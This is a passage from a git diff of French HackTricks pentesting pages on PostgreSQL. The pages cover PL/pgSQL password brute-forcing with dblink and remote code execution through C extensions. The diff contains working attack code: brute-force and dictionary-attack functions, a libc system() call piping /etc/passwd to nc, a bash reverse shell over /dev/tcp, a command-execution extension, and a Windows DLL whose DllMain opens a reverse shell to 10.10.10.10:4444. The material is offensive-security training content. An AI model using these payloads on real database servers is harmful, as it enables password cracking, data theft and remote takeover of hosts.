HackTricks**](https://peass.creator-spring.com) +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
diff --git a/pentesting-web/sql-injection/postgresql-injection/pl-pgsql-password-bruteforce.md b/pentesting-web/sql-injection/postgresql-injection/pl-pgsql-password-bruteforce.md index d62c8bcd5..f778d9bc0 100644 --- a/pentesting-web/sql-injection/postgresql-injection/pl-pgsql-password-bruteforce.md +++ b/pentesting-web/sql-injection/postgresql-injection/pl-pgsql-password-bruteforce.md @@ -1,129 +1,129 @@ -# Brute-Force de Mot de Passe PL/pgSQL +# Bruteforce de mot de passe PL/pgSQL
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! -* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud). +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au** [**dépôt hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**dépôt hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
-PL/pgSQL, en tant que **langage de programmation entièrement fonctionnel**, permet beaucoup plus de contrôle procédural que SQL, y compris la **possibilité d'utiliser des boucles et d'autres structures de contrôle**. Les instructions SQL et les déclencheurs peuvent appeler des fonctions créées dans le langage PL/pgSQL. +**Trouvez [plus d'informations sur cette attaque dans le document original](http://www.leidecker.info/pgshell/Having\_Fun\_With\_PostgreSQL.txt)**. -Vous pouvez abuser de ce langage pour demander à PostgreSQL de forcer le mot de passe des utilisateurs, mais il doit exister dans la base de données. Vous pouvez vérifier son existence en utilisant : +PL/pgSQL est un **langage de programmation complet** qui va au-delà des capacités du SQL en offrant un **contrôle procédural amélioré**. Cela inclut l'utilisation de boucles et de diverses structures de contrôle. Les fonctions créées dans le langage PL/pgSQL peuvent être invoquées par des instructions SQL et des déclencheurs, élargissant ainsi la portée des opérations dans l'environnement de la base de données. + +Vous pouvez abuser de ce langage pour demander à PostgreSQL de brute-forcer les identifiants des utilisateurs, mais ils doivent exister dans la base de données. Vous pouvez vérifier leur existence en utilisant: ```sql SELECT lanname,lanacl FROM pg_language WHERE lanname = 'plpgsql'; - lanname | lanacl - ---------+--------- - plpgsql | +lanname | lanacl +---------+--------- +plpgsql | ``` -Par défaut, **la création de fonctions est un privilège accordé à PUBLIC**, où PUBLIC fait référence à chaque utilisateur de ce système de base de données. Pour éviter cela, l'administrateur aurait dû révoquer le privilège USAGE du domaine PUBLIC : +Par défaut, **la création de fonctions est un privilège accordé à PUBLIC**, où PUBLIC fait référence à chaque utilisateur sur ce système de base de données. Pour éviter cela, l'administrateur aurait dû révoquer le privilège USAGE du domaine PUBLIC: ```sql REVOKE ALL PRIVILEGES ON LANGUAGE plpgsql FROM PUBLIC; ``` -Dans ce cas, notre requête précédente produirait des résultats différents: +Dans ce cas, notre requête précédente produirait des résultats différents : ```sql SELECT lanname,lanacl FROM pg_language WHERE lanname = 'plpgsql'; - lanname | lanacl - ---------+----------------- - plpgsql | {admin=U/admin} +lanname | lanacl +---------+----------------- +plpgsql | {admin=U/admin} ``` -Notez que pour que le script suivant fonctionne, **la fonction `dblink` doit exister**. Si elle n'existe pas, vous pouvez essayer de la créer avec +Notez que pour que le script suivant fonctionne **la fonction `dblink` doit exister**. Si ce n'est pas le cas, vous pouvez essayer de la créer avec ```sql CREATE EXTENSION dblink; ``` ## Brute Force de Mot de Passe -Voici comment vous pouvez effectuer une attaque de brute force de mot de passe de 4 caractères : +Voici comment vous pourriez effectuer une attaque par force brute sur un mot de passe de 4 caractères : ```sql //Create the brute-force function CREATE OR REPLACE FUNCTION brute_force(host TEXT, port TEXT, - username TEXT, dbname TEXT) RETURNS TEXT AS +username TEXT, dbname TEXT) RETURNS TEXT AS $$ DECLARE - word TEXT; +word TEXT; BEGIN - FOR a IN 65..122 LOOP - FOR b IN 65..122 LOOP - FOR c IN 65..122 LOOP - FOR d IN 65..122 LOOP - BEGIN - word := chr(a) || chr(b) || chr(c) || chr(d); - PERFORM(SELECT * FROM dblink(' host=' || host || - ' port=' || port || - ' dbname=' || dbname || - ' user=' || username || - ' password=' || word, - 'SELECT 1') - RETURNS (i INT)); - RETURN word; - EXCEPTION - WHEN sqlclient_unable_to_establish_sqlconnection - THEN - -- do nothing - END; - END LOOP; - END LOOP; - END LOOP; - END LOOP; - RETURN NULL; +FOR a IN 65..122 LOOP +FOR b IN 65..122 LOOP +FOR c IN 65..122 LOOP +FOR d IN 65..122 LOOP +BEGIN +word := chr(a) || chr(b) || chr(c) || chr(d); +PERFORM(SELECT * FROM dblink(' host=' || host || +' port=' || port || +' dbname=' || dbname || +' user=' || username || +' password=' || word, +'SELECT 1') +RETURNS (i INT)); +RETURN word; +EXCEPTION +WHEN sqlclient_unable_to_establish_sqlconnection +THEN +-- do nothing +END; +END LOOP; +END LOOP; +END LOOP; +END LOOP; +RETURN NULL; END; $$ LANGUAGE 'plpgsql'; //Call the function select brute_force('127.0.0.1', '5432', 'postgres', 'postgres'); ``` -_Notez que même la force brute de 4 caractères peut prendre plusieurs minutes._ +_Notez que même le bruteforce de 4 caractères peut prendre plusieurs minutes._ -Vous pouvez également **télécharger une liste de mots** et essayer seulement ces mots de passe (attaque par dictionnaire): +Vous pourriez également **télécharger une liste de mots** et essayer uniquement ces mots de passe (attaque par dictionnaire) : ```sql //Create the function CREATE OR REPLACE FUNCTION brute_force(host TEXT, port TEXT, - username TEXT, dbname TEXT) RETURNS TEXT AS +username TEXT, dbname TEXT) RETURNS TEXT AS $$ BEGIN - FOR word IN (SELECT word FROM dblink('host=1.2.3.4 - user=name - password=qwerty - dbname=wordlists', - 'SELECT word FROM wordlist') - RETURNS (word TEXT)) LOOP - BEGIN - PERFORM(SELECT * FROM dblink(' host=' || host || - ' port=' || port || - ' dbname=' || dbname || - ' user=' || username || - ' password=' || word, - 'SELECT 1') - RETURNS (i INT)); - RETURN word; +FOR word IN (SELECT word FROM dblink('host=1.2.3.4 +user=name +password=qwerty +dbname=wordlists', +'SELECT word FROM wordlist') +RETURNS (word TEXT)) LOOP +BEGIN +PERFORM(SELECT * FROM dblink(' host=' || host || +' port=' || port || +' dbname=' || dbname || +' user=' || username || +' password=' || word, +'SELECT 1') +RETURNS (i INT)); +RETURN word; - EXCEPTION - WHEN sqlclient_unable_to_establish_sqlconnection THEN - -- do nothing - END; - END LOOP; - RETURN NULL; +EXCEPTION +WHEN sqlclient_unable_to_establish_sqlconnection THEN +-- do nothing +END; +END LOOP; +RETURN NULL; END; $$ LANGUAGE 'plpgsql' -//Call the function +-- Call the function select brute_force('127.0.0.1', '5432', 'postgres', 'postgres'); ``` -**Trouvez** [**plus d'informations sur cette attaque dans cet article**](http://www.leidecker.info/pgshell/Having\_Fun\_With\_PostgreSQL.txt)**.** -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! -* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud). +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au** [**dépôt hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**dépôt hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
diff --git a/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md b/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md index 73e5783fb..0d3180693 100644 --- a/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md +++ b/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md @@ -1,28 +1,30 @@ -# RCE avec les extensions PostgreSQL +# RCE avec les Extensions PostgreSQL
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! -* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! +* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**. +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et au [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
## Extensions PostgreSQL -PostgreSQL est conçu pour être facilement extensible. Pour cette raison, les extensions chargées dans la base de données peuvent fonctionner comme des fonctionnalités intégrées.\ -Les extensions sont des modules qui fournissent des fonctions, des opérateurs ou des types supplémentaires. Ce sont des bibliothèques écrites en C.\ -À partir de PostgreSQL > 8.1, les bibliothèques d'extension doivent être compilées avec un en-tête spécial, sinon PostgreSQL refusera de les exécuter. +PostgreSQL a été développé avec l'extensibilité comme fonctionnalité principale, lui permettant d'intégrer de manière transparente des extensions comme s'il s'agissait de fonctionnalités intégrées. Ces extensions, essentiellement des bibliothèques écrites en C, enrichissent la base de données avec des fonctions, opérateurs ou types supplémentaires. -De plus, gardez à l'esprit que **si vous ne savez pas comment** [**télécharger des fichiers sur la victime en exploitant PostgreSQL, vous devriez lire ce post.**](big-binary-files-upload-postgresql.md) +À partir de la version 8.1, une exigence spécifique est imposée aux bibliothèques d'extension : elles doivent être compilées avec un en-tête spécial. Sans cela, PostgreSQL ne les exécutera pas, garantissant que seules des extensions compatibles et potentiellement sécurisées sont utilisées. + +De plus, gardez à l'esprit que **si vous ne savez pas comment** [**télécharger des fichiers sur la victime en abusant de PostgreSQL, vous devriez lire ce post.**](big-binary-files-upload-postgresql.md) ### RCE sous Linux -Le processus pour exécuter des commandes système à partir de PostgreSQL 8.1 et avant est simple et bien documenté ([module Metasploit](https://www.rapid7.com/db/modules/exploit/linux/postgres/postgres\_payload)) : +**Pour plus d'informations, consultez : [https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/](https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/)** + +L'exécution de commandes système à partir de PostgreSQL 8.1 et des versions antérieures est un processus clairement documenté et simple. Il est possible d'utiliser ce : [module Metasploit](https://www.rapid7.com/db/modules/exploit/linux/postgres/postgres_payload). ```sql CREATE OR REPLACE FUNCTION system (cstring) RETURNS integer AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT; SELECT system('cat /etc/passwd | nc '); @@ -36,74 +38,76 @@ CREATE OR REPLACE FUNCTION close(int) RETURNS int AS '/lib/libc.so.6', 'close' L Écrire un fichier binaire à partir de base64 -Pour écrire un binaire dans un fichier dans postgres, vous devrez peut-être utiliser base64, cela sera utile à cet effet: +Pour écrire un binaire dans un fichier dans postgres, vous pourriez avoir besoin d'utiliser base64, cela sera utile à cette fin: ```sql CREATE OR REPLACE FUNCTION write_to_file(file TEXT, s TEXT) RETURNS int AS - $$ - DECLARE - fh int; - s int; - w bytea; - i int; - BEGIN - SELECT open(textout(file)::cstring, 522, 448) INTO fh; +$$ +DECLARE +fh int; +s int; +w bytea; +i int; +BEGIN +SELECT open(textout(file)::cstring, 522, 448) INTO fh; - IF fh <= 2 THEN - RETURN 1; - END IF; +IF fh <= 2 THEN +RETURN 1; +END IF; - SELECT decode(s, 'base64') INTO w; +SELECT decode(s, 'base64') INTO w; - i := 0; - LOOP - EXIT WHEN i >= octet_length(w); +i := 0; +LOOP +EXIT WHEN i >= octet_length(w); - SELECT write(fh,textout(chr(get_byte(w, i)))::cstring, 1) INTO rs; +SELECT write(fh,textout(chr(get_byte(w, i)))::cstring, 1) INTO rs; - IF rs < 0 THEN - RETURN 2; - END IF; +IF rs < 0 THEN +RETURN 2; +END IF; - i := i + 1; - END LOOP; +i := i + 1; +END LOOP; - SELECT close(fh) INTO rs; +SELECT close(fh) INTO rs; - RETURN 0; +RETURN 0; - END; - $$ LANGUAGE 'plpgsql'; +END; +$$ LANGUAGE 'plpgsql'; ``` -Cependant, lorsqu'il a été tenté sur PostgreSQL 9.0, **l'erreur suivante a été affichée**: +Cependant, lorsque cela a été tenté sur des versions plus récentes, **l'erreur suivante s'est affichée** : ```c ERROR: incompatible library “/lib/x86_64-linux-gnu/libc.so.6”: missing magic block HINT: Extension libraries are required to use the PG_MODULE_MAGIC macro. ``` -Cette erreur est expliquée dans la [documentation de PostgreSQL](https://www.postgresql.org/docs/current/static/xfunc-c.html): +Cette erreur est expliquée dans la [documentation de PostgreSQL](https://www.postgresql.org/docs/current/static/xfunc-c.html) : -> Pour s'assurer qu'un fichier d'objet chargé dynamiquement n'est pas chargé dans un serveur incompatible, PostgreSQL vérifie que le fichier contient un "bloc magique" avec le contenu approprié. Cela permet au serveur de détecter des incompatibilités évidentes, telles que du code compilé pour une version majeure différente de PostgreSQL. Un bloc magique est requis à partir de PostgreSQL 8.2. Pour inclure un bloc magique, écrivez ceci dans l'un (et un seul) des fichiers source du module, après avoir inclus l'en-tête fmgr.h: +> Pour garantir qu'un fichier d'objet chargé dynamiquement n'est pas chargé dans un serveur incompatible, PostgreSQL vérifie que le fichier contient un "bloc magique" avec le contenu approprié. Cela permet au serveur de détecter des incompatibilités évidentes, telles que du code compilé pour une version majeure différente de PostgreSQL. Un bloc magique est requis à partir de PostgreSQL 8.2. Pour inclure un bloc magique, écrivez ceci dans l'un (et un seul) des fichiers source du module, après avoir inclus l'en-tête fmgr.h : > > `#ifdef PG_MODULE_MAGIC`\ > `PG_MODULE_MAGIC;`\ > `#endif` -Ainsi, pour les versions de PostgreSQL depuis 8.2, un attaquant doit soit profiter d'une bibliothèque déjà présente sur le système, soit télécharger sa propre bibliothèque, qui a été compilée contre la bonne version majeure de PostgreSQL, et inclut ce bloc magique. +Depuis la version 8.2 de PostgreSQL, le processus pour un attaquant d'exploiter le système a été rendu plus difficile. L'attaquant doit soit utiliser une bibliothèque déjà présente sur le système, soit télécharger une bibliothèque personnalisée. Cette bibliothèque personnalisée doit être compilée contre la version majeure compatible de PostgreSQL et doit inclure un "bloc magique" spécifique. Cette mesure augmente considérablement la difficulté d'exploiter les systèmes PostgreSQL, car elle nécessite une compréhension plus approfondie de l'architecture du système et de la compatibilité des versions. #### Compiler la bibliothèque -Tout d'abord, vous devez connaître la version de PostgreSQL en cours d'exécution: +Obtenez la version de PostgreSQL avec : ```sql SELECT version(); PostgreSQL 9.6.3 on x86_64-pc-linux-gnu, compiled by gcc (Debian 6.3.0-18) 6.3.0 20170516, 64-bit ``` -Les versions majeures doivent correspondre, donc dans ce cas, la compilation d'une bibliothèque en utilisant n'importe quelle version 9.6.x devrait fonctionner.\ -Ensuite, installez cette version sur votre système : +Pour assurer la compatibilité, il est essentiel que les versions majeures soient alignées. Par conséquent, compiler une bibliothèque avec n'importe quelle version de la série 9.6.x devrait garantir une intégration réussie. + + +Pour installer cette version sur votre système : ```bash apt install postgresql postgresql-server-dev-9.6 ``` -Et compiler la bibliothèque: +Et compiler la bibliothèque : ```c //gcc -I$(pg_config --includedir-server) -shared -fPIC -o pg_exec.so pg_exec.c #include @@ -116,11 +120,11 @@ PG_MODULE_MAGIC; PG_FUNCTION_INFO_V1(pg_exec); Datum pg_exec(PG_FUNCTION_ARGS) { - char* command = PG_GETARG_CSTRING(0); - PG_RETURN_INT32(system(command)); +char* command = PG_GETARG_CSTRING(0); +PG_RETURN_INT32(system(command)); } ``` -Ensuite, téléchargez la bibliothèque compilée et exécutez des commandes avec: +Ensuite, téléchargez la bibliothèque compilée et exécutez des commandes avec : ```bash CREATE FUNCTION sys(cstring) RETURNS int AS '/tmp/pg_exec.so', 'pg_exec' LANGUAGE C STRICT; SELECT sys('bash -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"'); @@ -130,11 +134,9 @@ Vous pouvez trouver cette **bibliothèque précompilée** pour plusieurs version {% embed url="https://github.com/Dionach/pgexec" %} -Pour plus d'informations, lisez: [https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/](https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/) - ### RCE sous Windows -La DLL suivante prend en entrée le **nom du binaire** et le **nombre** de **fois** que vous voulez l'exécuter et l'exécute: +La DLL suivante prend en entrée le **nom du binaire** et le **nombre** de **fois** que vous souhaitez l'exécuter, puis l'exécute: ```c #include "postgres.h" #include @@ -156,171 +158,171 @@ in a FOR loop bound by the second parameter that is also passed*/ Datum pgsql_exec(PG_FUNCTION_ARGS) { - /* convert text pointer to C string */ +/* convert text pointer to C string */ #define GET_STR(textp) DatumGetCString(DirectFunctionCall1(textout, PointerGetDatum(textp))) - /* retrieve the second argument that is passed to the function (an integer) - that will serve as our counter limit*/ +/* retrieve the second argument that is passed to the function (an integer) +that will serve as our counter limit*/ - int instances = PG_GETARG_INT32(1); +int instances = PG_GETARG_INT32(1); - for (int c = 0; c < instances; c++) { - /*launch the process passed in the first parameter*/ - ShellExecute(NULL, "open", GET_STR(PG_GETARG_TEXT_P(0)), NULL, NULL, 1); - } - PG_RETURN_VOID(); +for (int c = 0; c < instances; c++) { +/*launch the process passed in the first parameter*/ +ShellExecute(NULL, "open", GET_STR(PG_GETARG_TEXT_P(0)), NULL, NULL, 1); +} +PG_RETURN_VOID(); } ``` -Vous pouvez trouver la DLL compilée dans ce zip: +Vous pouvez trouver le DLL compilé dans ce zip : {% file src="../../../.gitbook/assets/pgsql_exec.zip" %} -Vous pouvez indiquer à cette DLL **quel binaire exécuter** et le nombre de fois à l'exécuter, dans cet exemple, il exécutera `calc.exe` 2 fois: +Vous pouvez indiquer à ce DLL **quel binaire exécuter** et le nombre de fois de l'exécuter, dans cet exemple il exécutera `calc.exe` 2 fois : ```bash CREATE OR REPLACE FUNCTION remote_exec(text, integer) RETURNS void AS '\\10.10.10.10\shared\pgsql_exec.dll', 'pgsql_exec' LANGUAGE C STRICT; SELECT remote_exec('calc.exe', 2); DROP FUNCTION remote_exec(text, integer); ``` -Vous pouvez trouver [**ici**](https://zerosum0x0.blogspot.com/2016/06/windows-dll-to-shell-postgres-servers.html) ce reverse-shell : +Dans [**ce lien**](https://zerosum0x0.blogspot.com/2016/06/windows-dll-to-shell-postgres-servers.html) vous pouvez trouver ce reverse-shell: ```c #define PG_REVSHELL_CALLHOME_SERVER "10.10.10.10" #define PG_REVSHELL_CALLHOME_PORT "4444" - + #include "postgres.h" #include #include "fmgr.h" #include "utils/geo_decls.h" #include - + #pragma comment(lib,"ws2_32") - + #ifdef PG_MODULE_MAGIC PG_MODULE_MAGIC; #endif - + #pragma warning(push) #pragma warning(disable: 4996) #define _WINSOCK_DEPRECATED_NO_WARNINGS - + BOOL WINAPI DllMain(_In_ HINSTANCE hinstDLL, - _In_ DWORD fdwReason, - _In_ LPVOID lpvReserved) +_In_ DWORD fdwReason, +_In_ LPVOID lpvReserved) { - WSADATA wsaData; - SOCKET wsock; - struct sockaddr_in server; - char ip_addr[16]; - STARTUPINFOA startupinfo; - PROCESS_INFORMATION processinfo; - - char *program = "cmd.exe"; - const char *ip = PG_REVSHELL_CALLHOME_SERVER; - u_short port = atoi(PG_REVSHELL_CALLHOME_PORT); - - WSAStartup(MAKEWORD(2, 2), &wsaData); - wsock = WSASocket(AF_INET, SOCK_STREAM, - IPPROTO_TCP, NULL, 0, 0); - - struct hostent *host; - host = gethostbyname(ip); - strcpy_s(ip_addr, sizeof(ip_addr), - inet_ntoa(*((struct in_addr *)host->h_addr))); - - server.sin_family = AF_INET; - server.sin_port = htons(port); - server.sin_addr.s_addr = inet_addr(ip_addr); - - WSAConnect(wsock, (SOCKADDR*)&server, sizeof(server), - NULL, NULL, NULL, NULL); - - memset(&startupinfo, 0, sizeof(startupinfo)); - startupinfo.cb = sizeof(startupinfo); - startupinfo.dwFlags = STARTF_USESTDHANDLES; - startupinfo.hStdInput = startupinfo.hStdOutput = - startupinfo.hStdError = (HANDLE)wsock; - - CreateProcessA(NULL, program, NULL, NULL, TRUE, 0, - NULL, NULL, &startupinfo, &processinfo); - - return TRUE; +WSADATA wsaData; +SOCKET wsock; +struct sockaddr_in server; +char ip_addr[16]; +STARTUPINFOA startupinfo; +PROCESS_INFORMATION processinfo; + +char *program = "cmd.exe"; +const char *ip = PG_REVSHELL_CALLHOME_SERVER; +u_short port = atoi(PG_REVSHELL_CALLHOME_PORT); + +WSAStartup(MAKEWORD(2, 2), &wsaData); +wsock = WSASocket(AF_INET, SOCK_STREAM, +IPPROTO_TCP, NULL, 0, 0); + +struct hostent *host; +host = gethostbyname(ip); +strcpy_s(ip_addr, sizeof(ip_addr), +inet_ntoa(*((struct in_addr *)host->h_addr))); + +server.sin_family = AF_INET; +server.sin_port = htons(port); +server.sin_addr.s_addr = inet_addr(ip_addr); + +WSAConnect(wsock, (SOCKADDR*)&server, sizeof(server), +NULL, NULL, NULL, NULL); + +memset(&startupinfo, 0, sizeof(startupinfo)); +startupinfo.cb = sizeof(startupinfo); +startupinfo.dwFlags = STARTF_USESTDHANDLES; +startupinfo.hStdInput = startupinfo.hStdOutput = +startupinfo.hStdError = (HANDLE)wsock; + +CreateProcessA(NULL, program, NULL, NULL, TRUE, 0, +NULL, NULL, &startupinfo, &processinfo); + +return TRUE; } - + #pragma warning(pop) /* re-enable 4996 */ - + /* Add a prototype marked PGDLLEXPORT */ PGDLLEXPORT Datum dummy_function(PG_FUNCTION_ARGS); - + PG_FUNCTION_INFO_V1(add_one); - + Datum dummy_function(PG_FUNCTION_ARGS) { - int32 arg = PG_GETARG_INT32(0); - - PG_RETURN_INT32(arg + 1); +int32 arg = PG_GETARG_INT32(0); + +PG_RETURN_INT32(arg + 1); } ``` -Notez que dans ce cas, le **code malveillant est à l'intérieur de la fonction DllMain**. Cela signifie que dans ce cas, il n'est pas nécessaire d'exécuter la fonction chargée dans postgresql, juste **charger la DLL** exécutera le shell inversé : +Notez comment dans ce cas le **code malveillant se trouve à l'intérieur de la fonction DllMain**. Cela signifie que dans ce cas, il n'est pas nécessaire d'exécuter la fonction chargée dans postgresql, il suffit de **charger le DLL** pour **exécuter** le shell inversé: ```c CREATE OR REPLACE FUNCTION dummy_function(int) RETURNS int AS '\\10.10.10.10\shared\dummy_function.dll', 'dummy_function' LANGUAGE C STRICT; ``` ### RCE dans les dernières versions de PostgreSQL -Dans les **dernières versions** de PostgreSQL, le `superutilisateur` n'est **plus autorisé** à **charger** un fichier de bibliothèque partagée depuis **n'importe où** ailleurs que `C:\Program Files\PostgreSQL\11\lib` sur Windows ou `/var/lib/postgresql/11/lib` sur \*nix. De plus, ce chemin n'est **pas accessible en écriture** par les comptes NETWORK\_SERVICE ou postgres. +Dans les **dernières versions** de PostgreSQL, des restrictions ont été imposées où le `superutilisateur` est **interdit** de **charger** des fichiers de bibliothèque partagée sauf à partir de répertoires spécifiques, tels que `C:\Program Files\PostgreSQL\11\lib` sur Windows ou `/var/lib/postgresql/11/lib` sur les systèmes \*nix. Ces répertoires sont **sécurisés** contre les opérations d'écriture par les comptes NETWORK\_SERVICE ou postgres. -Cependant, un `superutilisateur` de base de données authentifié **peut écrire** des fichiers binaires sur le système de fichiers en utilisant des "gros objets" et peut bien sûr écrire dans le répertoire `C:\Program Files\PostgreSQL\11\data`. La raison en est claire, pour mettre à jour/créer des tables dans la base de données. +Malgré ces restrictions, il est possible pour un `superutilisateur` de base de données authentifié d'**écrire des fichiers binaires** sur le système de fichiers en utilisant des "grands objets". Cette capacité s'étend à l'écriture dans le répertoire `C:\Program Files\PostgreSQL\11\data`, qui est essentiel pour les opérations de base de données telles que la mise à jour ou la création de tables. -Le problème sous-jacent est que l'opérateur `CREATE FUNCTION` **permet une traversée de répertoire** vers le répertoire de données ! Ainsi, un attaquant authentifié peut **écrire un fichier de bibliothèque partagée dans le répertoire de données et utiliser la traversée pour charger la bibliothèque partagée**. Cela signifie qu'un attaquant peut obtenir une exécution de code natif et, par conséquent, exécuter un code arbitraire. +Une vulnérabilité significative découle de la commande `CREATE FUNCTION`, qui **autorise la traversée de répertoire** dans le répertoire de données. Par conséquent, un attaquant authentifié pourrait **exploiter cette traversée** pour écrire un fichier de bibliothèque partagée dans le répertoire de données, puis le **charger**. Cette 